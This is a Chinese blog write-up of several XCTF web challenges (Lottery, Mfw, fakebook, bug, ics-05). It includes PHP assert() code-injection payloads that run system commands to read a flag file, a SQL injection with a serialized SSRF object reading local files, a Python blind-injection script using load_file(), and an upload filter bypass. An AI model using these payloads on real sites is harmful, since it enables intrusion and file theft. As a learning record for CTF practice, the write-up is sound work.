刷 攻防世界 记录 (持续更新)

 

  • Web 2 

按照他的逻辑反过来就行了

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_o=base64_decode(strrev(str_rot13($miwen)));
for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    }
echo strrev($_);

?>

 


 

  • Lottery    

1).git泄露

2)Php弱类型 ‘==’ bool类型得ture与任何东西都相等

 

 

 

 

Payload  

{“action”:”buy”,“number”:{”0”:true, ”1”:true, ”2”:true, ”3”:true, ”4”:true, ”5”:true, ”6”:true}}

或者

{“action”:”buy”,“number”:{true, true, true, true, true, true, true}}

 


 

 

  • Mfw

1).git泄露

2)危险函数:assert()

Assert(assertion,参数2)

判断一个断言是否为FALSE,注意当assertion为字符串时,会将assertion当作代码执行。

返回值:assertion 是 false 则返回 FALSE,否则是 TRUE。

源码:

 

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

这里下来测试了一下,发现当里面命令是两个得时候,它只会执行第一个命令

 

所以这里无法在字符串里面做手脚

自己本地测试下

 

 Payload是  abc’,’.’) or phpinfo();\ 这里我不能理解为什么没有双引号,后来才知道是理解失误,这里最终还是在双引号里面去做手脚,因为无法去破坏这个语句,在双引号里使用命令同样可以使用 or 命令,或者and 命令,之前一直以为or 和and 只能在括号里使用,其实不然,一直都可以使用

 

 

 

 

当然and逻辑也是可以的,符号代替也是可以的。

所以这里我们传入的 a’) or phpinfo();//是去闭合 strpos() 而且注释仅仅是注释掉 ===false

然后这里的整个字符串都会被拿去执行,带出答案。

另一种payload是    ‘.phpinfo().’

这个payload是绕过第二个语句

 

本地测试:

 

 

两个单引号前后闭合,然后逃逸处语句 phpinfo();

 

最终这道题的payload是

?page= abc’,’.’) or system(“cat templates/flag.php”);\

或者

?page=’. system(“cat templates/flag.php”);.’

另外 利用file_get_contents也是可以的

总结:

1)  Assert(assertion,参数2)   ☆   判断一个断言是否为FALSE,注意当assertion为字符串时,会将assertion当作代码执行。

2) and(&&) or(||) 不一定在括号里使用,直接使用也可 


  • fakebook

1) 源码泄露

2) SQL注入

3) Ssrf

4) 反序历化

 

看着别人的wp做的,就想问我的御剑没扫出来robots.txt?

做的时候首先是以为简单的sql注入,没想到什么也没有,users表里面有四列 username,password,age,data找了找里面并么有flag。后来上网翻才知道有源码泄露。

 

 

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}

 

泄露的 user.php.bak

可以看到get()方法是存在ssrf漏洞的,但是isValidBlog() 是过滤了的,但是这道题最终的payload:

http://111.198.29.45:34985/view.php?no=0/**/union/**/select%201,2,3,'O:8:%22UserInfo%22:3:{s:4:%22name%22;s:7:%22dimpl3s%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/user.php%22;}'--

开始一直没搞懂为什么在第四列传入序列化能引起漏洞,后来用这个payload去读一读 view.php的源码

<?php
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
    die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']); //漏洞点
//print_r($res);

?>
<?php

    $response = $user->getBlogContents();
    if ($response === 404)
    {
        echo "404 Not found";
    }

    else
    {
        $base64 = base64_encode($response);
        echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
        // echo $response;
    }

    // var_dump($user->getBlogContents());
?>

看来源码才知道,这里直接去反序列化$res['data'],也就是我们传入的blog,而且并没有经过过滤

$user = unserialize($res['data']);

另外,payLoad一定是在第四列,因为后台 data也在第四列

 

但是这里正向来做这道题的思路这样的

 

而且这里看到unserialize()想到反序列化时就应该结合反序列化漏洞配合,而且传入1,2,3,4报错应该联想到这其中某个值会被反序历化。唉,我太菜了。

另一种非预期解题:

这道题没有过滤 load_file() 记住这个点,以后万一可以用了,测试了以下攻击的点,我利用的是异或注入

接下来就可以写脚本跑了

import requests

flag=''
str1='tanglibo'
for i in range(1,5):
    for j in range(33,126):
        #url="http://111.198.29.45:34985/view.php?no=0^(ascii(substr(database(),"+str(i)+",1))="+str(j)+")"
        url = "http://111.198.29.45:34985/view.php?no=0^(ascii(substr((load_file('/var/www/html/flag.php'))," + str(i) + ",1))=" + str(j) + ")"
        s=requests.get(url)
        if str1 in s.text:
            flag=flag+chr(j)
            print(flag+ " is")
            break
        else:
            print(chr(j)+" is not")

学到的东西:

1)load_file('filename')

2) curl 知识 

https://www.cnblogs.com/lxj0205/p/9360826.html


  • bug

重置密码处存在重置任意用户密码

 进去后发现上传页面,有简单的过滤

后缀名绕过 php5

短标签绕过 <script language="php">phpinfo();</script>


  • ics-05  

1)文件包含

2)preg_replace()  /e    下的命令执行

拿到index.php的源码过后就会发现 preg_replace 三个参数均可控。

注意: 在 cd 目录的时候 ,连接命令 ‘&& ’符号要用url编码格式,不然命令执行不成功,估计可能是因为 url中‘&’符号本身含有传递参数的意义

原文地址:https://www.cnblogs.com/tlbjiayou/p/12585823.html